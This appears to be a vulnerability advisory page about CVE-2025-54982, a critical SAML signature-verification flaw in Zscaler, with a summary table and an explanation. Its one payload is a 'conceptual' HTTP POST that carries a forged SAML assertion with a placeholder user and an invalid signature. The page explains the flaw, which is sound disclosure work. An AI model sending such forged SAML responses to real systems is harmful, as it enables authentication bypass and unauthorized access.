CVE-2025-54982: Critical Zscaler’s SAML Authentication Mechanism Vulnerability

Overview

The CVE-2025-54982 vulnerability exists in the security architecture of Zscaler’s SAML authentication mechanism. This security flaw, rated with a high severity score of 9.6, poses a significant threat to organizations using Zscaler’s solutions. The flaw arises from an improper verification of cryptographic signature on the server-side, which could be exploited to bypass authentication mechanisms.
This vulnerability matters because it could potentially lead to system compromise or data leakage, resulting in significant damage to an organization’s operations and reputation. The exploitation of this vulnerability could allow an attacker to gain unauthorized access to sensitive data and resources, thus posing a significant risk to data integrity and confidentiality.

Vulnerability Summary

CVE ID: CVE-2025-54982
Severity: Critical (9.6)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Zscaler SAML Authentication Mechanism | All versions prior to patch

How the Exploit Works

The exploit takes advantage of the improper verification of cryptographic signatures in Zscaler’s SAML authentication mechanism. An attacker could craft malicious SAML responses with invalid signatures. Since the system does not properly verify these signatures, the attacker could trick the system into accepting an invalid authentication response, thereby gaining unauthorized access to the system.

Conceptual Example Code

Here’s a conceptual example of how the vulnerability might be exploited. An attacker might send a POST request to the SAML authentication endpoint with a crafted SAML response:

POST /saml/auth HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<SAMLResponse>
<Assertion>
<Subject>
<NameID>@NOTREALUSER@</NameID>
<SubjectConfirmation>
<SubjectConfirmationData NotOnOrAfter="2025-12-31T23:59:59.999Z" Recipient="http://target.example.com/acs"/>
</SubjectConfirmation>
</Subject>
<Conditions NotBefore="2025-01-01T00:00:00.000Z" NotOnOrAfter="2025-12-31T23:59:59.999Z">
<AudienceRestriction>
<Audience>http://target.example.com/acs</Audience>
</AudienceRestriction>
</Conditions>
</Assertion>
<Signature>
<SignatureValue>INVALID_SIGNATURE</SignatureValue>
</Signature>
</SAMLResponse>

In this example, the attacker replaces the `NameID` with a valid user ID (`@NOTREALUSER@`) and inserts an invalid signature (`INVALID_SIGNATURE`). Due to the improper signature verification, the target system could accept this response and grant access to the attacker.